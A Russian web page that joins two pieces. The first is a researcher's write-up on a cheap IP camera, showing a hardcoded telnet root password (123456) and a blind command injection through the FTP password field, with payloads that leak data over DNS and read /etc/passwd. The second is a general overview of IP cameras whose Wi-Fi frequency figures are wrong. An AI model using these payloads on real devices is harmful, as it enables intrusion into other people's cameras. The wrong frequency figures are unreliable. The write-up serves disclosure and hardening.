Содержание
Как я взломал свою ip-камеру и нашел там бекдор
Время пришло. Я купил себе второе IoT устройство в виде дешевой ip-камеры. Мои ожидания относящиеся к безопасности этой камеры были не высоки, это была самая дешевая камера из всех. Но она смогла меня удивить.
Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль. Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi.
Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым. Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён. К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле: «C:\Users\\AppData\Local\VirtualStore\Program Files (x86)\\list.
dat» Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер. Натравим nmap на это устройство. PORT STATE SERVICE VERSION23/tcp open telnet BusyBox telnetd81/tcp open http GoAhead-Webs httpd| http-auth: | HTTP/1.
1 401 Unauthorized|_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81|_http-methods: No Allow or Public header in OPTIONS response (status code 400)|_http-title: Document Error: Unauthorized8600/tcp open tcpwrapped Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим.
Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.
Двойная Слепая инъекция
IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной слепой инъекцией.
Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит. Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог: $(ping%20-c%202%20%60pwd%60) Или та же команда в читаемом виде: $(ping -c 2 `pwd`) но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали.
Весёлые времена. Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи. $(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row$(cat/tmp/c) ;filter out unwanted characters$(ping `cat /tmp/c`) ;leak it via DNS После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…
Я даже пытался использовать commix, из видео на он подавал большие надежды.
Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.
К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем пароль багажа.
Пора резюмировать то, что у нас есть. Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это смело можно назвать бэкдором.
С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию. И последнее, всё работает от root`а, что не удивительно.
Мой список изменений
Я добавил эти строки в конец файла /system/init/ipcam.sh: sleep 15echo 'root:CorrectHorseBatteryRedStaple'|chpasswd Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh. Если хотите, отключите подключение к облаку (вы не сможете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.
sh iptables -A OUTPUT -p udp ! —dport 53 -j DROP Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС. 99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.
Так что, когда Вы в следующем эпизоде Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность.
Хабы:
Источник: https://habr.com/ru/post/316296/
IP КАМЕРЫ ВИДЕОНАБЛЮДЕНИЯ
LABOIZNES.RU
ОБОРУДОВАНИЕ И СИСТЕМЫ БЕЗОПАСНОСТИ
* ПРЕИМУЩЕСТВА И НЕДОСТАТКИ * БЕСПРОВОДНЫЕ * ПОДКЛЮЧЕНИЕ ЧЕРЕЗ ИНТЕРНЕТ * КАК ВЫБРАТЬ *
Прежде всего – что такое ip-камера? Упрощенно говоря — это видеокамера, имеющая специальный интерфейс и работающая на базе IP-протокола (TCP/IP) и, соответственно, позволяющая передавать данные по сети в цифровом формате. Другими словами – камера и мини-компьютер в одном корпусе.
Основным отличием в ее функционировании от аналоговой видеокамеры является то, что изображение, поступающее с матрицы, не переводится в аналоговый электромагнитный сигнал, а передается пакетами в цифровом формате на устройство приема (монитор, видеорегистратор, видеосервер или ПК).
В состав таких камер видеонаблюдения входят:
Объектив — система линз, основной задачей которой является проецирование изображения на светочувствительную ПЗС матрицу. Основным рабочими параметрами объектива являются:
- фокусное расстояние (фиксированное или переменное);
- тип крепления (CS или C);
- угол обзора (горизонтальный и вертикальный);
- глубина резкости.
Оптические фильтры — устанавливаются на цветные камеры. Представляют собой прозрачные пластинки из материала, фильтрующего низкочастотный спектр вблизи красного цвета (700 нм). Основной задачей инфракрасных отсекающих фильтров является обеспечение правильной цветопередачи получаемого изображения.
CCD (ПЗС) матрица — полупроводниковая пластина, являющаяся фотоприемником IP видеокамеры. Преобразует попадающий на ее поверхность свет в электрический импульс. Основными параметрами ПЗС матрицы являются:
- формат (величина диагонали в дюймах);
- количество пикселей, что определяет разрешающую способность;
- светочувствительность.
Блок оцифровки — представляет собой устройство видеозахвата, осуществляющее преобразование получаемого от матрицы электрического импульса в цифровой сигнал. Процесс оцифровки осуществляется тремя этапами:
- Дискретизацией — считывается амплитуда поступающего импульса с определенной периодичностью.
- Квантованием — преобразует результаты дискретизации в цифровую форму.
- Кодированием — формирует биты означающие конец пакета квантования (синхроимпульса), кроме того формирует дополнительные биты, предохраняющие пакет передаваемой информации от ошибок.
Блок сжатия — осуществляет компрессию цифрового видеосигнала, сокращая его размер. Это делается для быстрой передачи изображения по сети и ее компактного хранения. Большинство современных IP камер видеонаблюдения используют форматы сжатия Н.264, MPEG-4.
Центральный процессор — осуществляет операции по передаче сжатого цифрового изображения, а так же осуществляет управление встроенным интерфейсом устройства.
Оперативная память (ОЗУ) — временно сохраняет данные, являющиеся результатом функционирования внутренних управляющих программ камеры. Часть ОЗУ выделяется под видеобуфер, используемый для временного сохранения заснятого изображения. Запись информации осуществляется циклически.
Flash память — используется в некоторых IP видеокамерах, позволяет сохранять изображение в виде фотографий или предельно сжатого видео в случае невозможности его передачи по каналам связи.
Ethernet интерфейс — представляет собой порт для подключения коннектора RJ-45.
Интерфейс для подключения тревожных входов/выходов — опционально в некоторых моделях IP видеокамер есть возможность подключения детекторов движения или других извещателей, которые активируют камеру в момент несанкционированного проникновения злоумышленника в охраняемое помещение.
ПРЕИМУЩЕСТВА, НЕДОСТАТКИ И ВОЗМОЖНОСТИ
По сравнения с аналоговыми видеокамерами, IP камеры для видеонаблюдения имеют ряд серьезных преимуществ:
Разрешение — одно из основных преимуществ цифровой системы над аналоговой. У стандартных аналоговых камер оно не превышает 700 ТВЛ у аналоговых камер высокого разрешения форматов AHD, SDI, CVI и TVI — 1920×1080, что составляет 2 мегапикселя. Однако многие цифровые камеры шагнули намного дальше, к примеру, модель BEWARD В5650 имеет разрешение 5 Мп (2560х1920).
Уникальный сетевой идентификатор — наличие уникального IP адреса или DDNS идентификатора позволяет найти и использовать IP видеокамеру в сети Интернет из любой точки мира.
Облачное хранилище — возможность сохранять видеоархивы без использования видеорегистраторов, ПК, видеосерверов или других устройств.
Из возможных дополнительных опций, которые практически не встречаются у аналоговых видеокамер стоит отметить:
- встроенный микрофон;
- SD — слоты для карт памяти;
- технология РоЕ — передача питания по тому же кабелю UPT, что и проводит информационный сигнал;
- беспроводная связь: WiFi, GSM и т.п.
Среди наиболее характерных недостатков IP видеокамер следует отметить:
- относительно высокая стоимость устройств;
- более низкая светочувствительность.
В начало
Беспроводные ip камеры видеонаблюдения
WiFi — наиболее распространенная технология беспроводной передачи данных, которая используется в IP видеокамерах, это стандарт IEEE 802.11. Скорость передачи данных до 60 Мбит/сек при дальности до 40 м в пределах прямой видимости. Основными преимуществами использования WiFi связи являются:
- существенное сокращение временных затрат по устройству системы видеонаблюдения;
- возможность установки камер в местах, где невозможна прокладка кабельных сетей (не нужно забывать о необходимости подключения камер к электросети).
Из основных недостатков использования WiFi в качестве основы для систем видеонаблюдения можно отметить высокую стоимость беспроводного оборудования, как камер, так и роутеров, а в особенности антенн и усилителей сигнала, без которых построение большой по площади системы видеонаблюдения практически невозможно.
Существует три основных диапазона, которые используются различными производителями беспроводного видеооборудования:
- 802.11 ас — 6 ГГц;
- 802.11 ad — 60 ГГц;
- 802.11 п — 40 ГГц.
Эксплуатация этих частот осуществляется довольно интенсивно, поэтому в получаемом видео могут появляться помехи, а скорость передачи данных может значительно снизится от заявленной производителем величины. Кроме того на дальность эффективной передачи сигнала негативно влияют физические преграды между приемником и камерой и источники радиомагнитного излучения.
Практически все производители оборудования для видеонаблюдения выпускают различные модели IP видеокамер с поддержкой технологии WiFi. К примеру — AXIS 211W.
При выборе WiFi IP камеры видеонаблюдения следует обратить внимание на алгоритм шифрования, так как сигнал может быть сравнительно легко перехвачен.
3G/4G — технологии мобильной связи, широко используемые в системах видеонаблюдения. камеры многих производителей либо оборудованы слотами для SIM карт с интегрированным устройством передачи сотового сигнала (модель ENC ES-150 GS), либо имеют возможность подключения внешних 3G/4G модемов (модель MDC-i4240, совместима с 3G модемами Huawei E173 и ZTE MF 192).
Передача данных осуществляется со скоростью до 3,6 Мбит/с практически по всей площади покрытия мобильным оператором. Основными преимуществами использования 3G/4G является:
- большая площадь покрытия, устойчивость сигнала и незначительное влияние на возможности передачи данных различных помех и физических преград;
- высокая степень защиты от несанкционированного перехвата;
- возможность использования на движущихся объектах с автоматической сменой базовых станций.
Следует помнить, что скорость работы с движущимся объектом ниже чем со стационарным.
В начало
Подключение ip камеры через интернет
Удаленное подключение к IP камерам видеонаблюдения через интернет чаще всего осуществляется тремя способами. Любой из них требует присвоение устройству уникального адреса.
Статический («белый») IP адрес.Наиболее простой способ с точки зрения настройки. Для его получения необходимо заключить договор с провайдером, естественно, такая услуга платная. Такие адреса являются уникальными и доступ к ним можно получить из любой точки интернета.
Настройка осуществляется довольно просто. Камера подключается напрямую или через роутер к ПК. В одной из закладок встроенного интерфейса прописывается полученный от провайдера IP адрес.
Dynamic Domain Name System (DynDNS).
Большинство провайдеров предоставляет клиенту серый, то есть динамический (периодически меняющийся) IP адрес. Подключиться к устройству напрямую не представляется возможным, так как после каждого входа в сеть интернет адрес IP камеры будет изменяться. В этом случае поможет служба DDNS.
Данные услуги могут предоставить несколько сервисов. Для того чтобы ими воспользоваться прежде всего необходимо зарегистрироваться на одном из них. К примеру, www.dyndns.com. Зарегистрировав на ресурсе уникальное имя можно присвоить его используемому устройству.
DDNS сервис постоянно отслеживает изменения IP адреса, заново сопоставляя с ним присвоенное доменное имя. Таким образом, независимо от изменений динамического IP адреса провайдера владелец всегда будет иметь доступ к удаленному устройству.
Peer-to-peer (P2P).
Идентификация IP камеры осуществляется по уникальному номеру UID, присвоенному устройству в процессе изготовления. После подключения видеокамеры, которая поддерживает технологию Р2Р к сети интернет, она формирует запрос на сервер (обычно данный ресурс бесплатный и предоставляется производителем).
Пользователь должен установить клиентскую часть программного обеспечения на ПК или мобильные устройства смартфон, планшет и т.п. В приложении, в строке поиска вводится уникальный UID номер устройства. Программа осуществляет поиск по базе данных сервера производителя. Если IP видеокамера в данный момент активна, пользователь получает к ней доступ. После первого входа рекомендуется осуществить изменение логина и пароля.
В начало
Выбор и применение ip камер
Выбор характеристик и конструктивных исполнений IP камер видеонаблюдения напрямую зависят от области их применения:
Для офиса — рекомендуется использовать купольные IP камеры. Как правило, крепятся они на потолке помещения, поэтому преимущество у кабельных устройств как менее дорогостоящих (кабеля обычно прячутся под подвесной потолок). Максимальное разрешения целесообразно не более 1-3 Мп, в условиях ограниченного пространства этого будет вполне достаточно.
Если в помещении функционирует отдельная система безопасности (тревожная сигнализация), то можно выбрать модели без ИК подсветки. Основное преимущество использования купольных камер заключается в том, что со стороны практически невозможно определить, куда именно направлен объектив.
Для квартиры — обычно критичны компактные размеры и дизайн. Рекомендуется выбирать устройства имеющие подключение к 3G сети, в этом случае владелец сможет проконтролировать ситуацию в квартире в любое время.
Для дома — целесообразно использовать Wi-Fi камеры как внутренние, так и внешние. В этом случае достаточно приобрести один мощный Wi-Fi роутер, чтобы иметь возможность контролировать всю территорию коттеджа.
Для дачи — целесообразно использовать 3G камеры с автономным источником питания. Если злоумышленники обесточат объект, то устройства все равно продолжат съемку, а владельцу будет послан сигнал о несанкционированном проникновении.
Большинство таких камер имеют широкие возможности настройки тревожных сообщений и могут работать как начальная система безопасности здания.
Применение IP камер видеонаблюдения возможно как в составе крупных систем безопасности, так и в качестве отдельных устройств, используемых частными лицами. Настройка и использование аппаратуры не представляет особых проблем даже для начинающего пользователя. Единственным препятствием может стать цена устройств, которая все еще несколько выше чем у аналоговых камер.
В начало
© 2010-2020 г.г.. Все права защищены.
Материалы, представленные на сайте, имеют ознакомительно-информационный характер и не могут использоваться в качестве руководящих документов
Источник: https://labofbiznes.ru/videokamera_ip.html